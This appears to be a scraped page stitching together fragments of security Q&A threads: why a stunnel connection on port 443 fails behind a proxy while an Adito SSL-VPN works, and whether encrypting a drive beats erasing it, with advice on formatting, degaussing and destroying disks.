*Seeing the title I would argue this is not Black Hat behavior unless he deliberately exploits the vulnerabilities for his own gain or your own harm (/gives them directly to someone with that intention). If he just refuses to disclose the argument would be between white/grey hat definitions.


What is the difference between an HTTPS traffic setup with Stunnel and a SSL-VPN We have a scenario where we cannot connect to our stunnel server running on port 443 on our network, which only allows access to Internet via a proxy server. On the contrary, when we tried a SSL VPN using Adito, we could connect to the HTTPS site and setup a SSL tunnel to our remote server.

Stunnel and SSL VPN were running on different hosts outside the restricted network. As for the symptoms of the stunnel failing, we simply got a "Connect failed" with stunnel, but no attempt was made to capture the raw traffic. But with Adito, the connection was smooth and works like a charm.

My questions, is how do connections to a stunnel differ from SSL-VPN, if both are running on the same port 443, and both use SSL to encrypt data?

In all evidence, the two tunnels are not equal. Given that the port and (envelope) protocol are the same, the difference might be in either the endpoints, the access rules or the certificate setup.

Unless you shut down the stunnel server (and you say nothing to that effect), you shouldn't have been able to test Adito at all. Unless the stunnel server and the Adito server are running on separate hosts, and in that case, they might well have different firewall access rules.

Another possibility is that stunnel is compiled with TCP wrappers (or through [x]inetd) and the host unable to connect to it is not allowed to connect, while Adito has no such restrictions. So Adito works, and stunnel doesn't.

What are the symptoms of stunnel's connection failing (both at client and in the server logs, if any)?


Is encrypting whole drive with a randomly generated key better than erasing? I was trying to find better ways of quickly deleting files in such a way that they cant be recovered at all.

Is encrypting drive with a completely pseudo random key using some block chain better than deleting files or overwriting it with random stuff?

What is it you want to protect against?
 First off you got the problem of not having direct access to the hardware of the storage device (unless you use specialized techniques / software), so there is in fact no way to know if your influencing the same piece of storage, or a new piece of storage.

Secondly depending on what your goal is there can be better solutions than encryption (which is by no means faster than deletion I might add).

if the goal is to prevent data theft / recovery, you are better off physically destroying the discs involved. A few good whacks with a sledgehammer should do the trick, than to be sure you can burn the leftovers. (IC's generally are poor at retaining data at temperatures in execs of 200 Deg Centigrade. and most ferro-magnetic substances also lose magnetic cohesion at those temperatures)
If the goal is to resell / give away / or otherwise re-purpose the device. A good format should suffice. if your unsure about the results do a low-level format. Slow but that does at least clear all data from the disk.
If your goal is to keep the data from a government agency, best to use an industrial degausser on a magnetic disc and a High Voltage on the Print for a Solid state disc. this should remove enough of the data to be completely useless to anyone, bear in mind to remove your tin-foil hat before attempting this and consult with a doctor before buying anything like this as there are risks involved.

I would suggest you first go back to the "why" question, as in "Why do you want to combine quick and secure, 2 mutually exclusive actions when regarding any form of storage. your either quick (as in fast), or secure( as in certain of a specific state / certain that no none but  you can access the data).